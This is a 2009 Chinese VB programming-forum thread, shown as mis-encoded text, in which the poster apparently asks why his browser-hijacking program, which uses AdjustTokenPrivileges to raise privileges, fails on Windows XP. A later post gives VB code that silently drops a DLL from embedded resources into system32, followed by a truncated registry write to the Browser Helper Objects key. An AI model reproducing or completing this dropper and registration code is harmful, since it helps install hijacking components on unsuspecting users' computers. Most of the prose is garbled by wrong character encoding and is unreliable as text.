Ò׽ؽØÍ¼Èí¼þ¡¢µ¥Îļþ¡¢Ãâ°²×°¡¢´¿ÂÌÉ«¡¢½ö160KB

vb³ÌÐòÔÚXPϵͳÏÂÎÞ·¨Ö´ÐУ¿

ÎÒÓÃVBдÁËÒ»¸ö½Ù³Öä¯ÀÀÆ÷µÄÓ¦Óᢿª·¢»·¾³£¨ windows2003 + VB6.0 £©µ«ÔÚXPÏÂÎÞ·¨Õý³£Ö´ÐУ¿

ÍøÉϲé×ÊÁ϶¼ËµÐèÒªÌáȨ£¬¿ÉÎÒͨ¹ýAdjustTokenPrivileges½øÐÐDEBUGÌáȨ֮ºó£¬ÔÚXPÏÂÈÔÈ»ÎÞ·¨Ö´ÐУ¬Çë¸ßÊÖ°ïæ½â¾öһϣ¡


Îҵģѣѣº544588699¡¢»¶Ó­¼ÓÈëÎÒ£ÑÌÖÂÛ¡«¡«¡«

Ò»¹²Ö»ÓÐ6·ÖÁË£¬±íʾǷÒâ¡«¡«¡«
ÓпÉÄÜÊÇÔÚ 2003 ÖеÄijЩ API º¯Êý£¬Óë XP ÖеIJ»Ïàͬ°É£¡

¿´¿´ÄãµÄ³ÌÐòÀïÊDz»ÊÇÓõ½ÁËʲôDLL,OCXÎļþ£¬ÔÚXPÏÂÖØÐÂ×¢²áһϿ´¿´£¡




End_rbody_60475008//-->
¸Ã»Ø¸´ÓÚ2009-10-19 10:46:36±»¹ÜÀíԱɾ³ý



¶ÔÎÒÓÐÓÃ[0]
¶ª¸ö°åש[0]
ÒýÓÃ
¾Ù±¨
¹ÜÀí
TOP








victory2006
(Î÷ÄÏ)

µÈ¡¡¼¶£º



#4Â¥ µÃ·Ö£º0»Ø¸´ÓÚ£º2009-10-17 09:07:15


ÓÐÒ»¸öDLL¡¢ÎÒͨ¹ýÒÔÏ·½·¨´ÓRESÖÐÊͷŵ½system32ÏÂÁË

Private Sub shifang()
On Error Resume Next
Dim strSysPath As String
Dim strDesPath As String
Dim binBuffer() As Byte
strDesPath = "c:\windows\system32\" & "project.dll"
If Dir(strDesPath) <> "" Then
Exit Sub
End If
binBuffer = LoadResData(101, "CUSTOM")
Open strDesPath For Binary As #1
Put #1, , binBuffer
Close #1
End Sub

»¹Óз¢ÏֺܶàʱºòÐÞ¸Ä×¢²á±í²»³É¹¦¡¢²»ÔõôÎȶ¨¡«

±ÈÈ磺
Dim wsh As New WshShell
wsh.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper O


Ïà¹ØÎÊ´ð£º

asp.net(vb)ÎÊÌâ

login.aspx.vb:

    Public ReadOnly Property nameT() As String
        Get
            Return TextBox1.Text
    &nb ......

VBÈçºÎ×èֹij³ÌÐòÔËÐС££¿

±ÈÈç½ø³Ì¼ÓÔØÐµijÌÐò¡£

ÔÚÆäÔËÐÐ֮ǰ×èÖ¹¡£

È»ºóÔÊÐíºó·ÅÐС£


±ÈÈç³ÌÐòÖ÷Îļþ·¾¶ÊÇc:\test\test.exe£¬½¨Á¢ÄÚÈÝÈÎÒâµÄÎļþc:\test\test.exe.manifest¡£

¾ÍÊDz»ÖªµÀ³ÌÐòÎļþ·¾¶¡£

ÉèÖ ......

ÇëºÃÐÄÈ˰ïÎÒ°ÑVBÔ´ÂëתΪVB.NET~

Ï£Íû´ó¼ÒÄܹ»°ïÎÒÏÂ.¸ÐлÁË..


Ô´Âë´«ÔÚ´óÃ×ÅÌ VB6 µÄÔ´Âë http://www.damipan.com/file/3wNoKLW.html

תΪVB.NETÔ´Âë.

СµÜÍêÈ«ÊÇÐÂÊÖ ²»¶®µÄ˵.Âé·³¸÷λ°ïæһÏÂ

ÎÒµÄEMAILÊÇ:4452 ......

VBÈçºÎÁªÏµÁ½¸ö´°Ì壿

¾ÍÊÇÉè¼ÆÒ»¸ö¼ÆËã»úÄ£Ä⿼ÊÔϵͳ£¬´øÓÐѧÉúºÍ¹ÜÀíÔ±£¬ËùÒԵǼ´°ÌåºÍÖ÷´°ÌåÏë·Ö¿ª£¬µÇ½ѧÉúµÄÏÔʾѧÉúµÄÖ÷´°Ì壬µÇ½¹ÜÀíÔ±ÏÔʾ¹ÜÀíÖ÷´°Ì壬ÎÒÖ»»áÒ»¸ö´°ÌåÓÃÒ»¶Ñ¿Ø¼þ£¬ÏÖÔÚÏíÓжà¸öÖ÷´°Ì壬²»ÖªµÀÔõô×ö£¬Ï£ÍûÇë´ó ......
© 2009 ej38.com All Rights Reserved. ¹ØÓÚE½¡ÍøÁªÏµÎÒÃÇ | Õ¾µãµØÍ¼ | ¸ÓICP±¸09004571ºÅ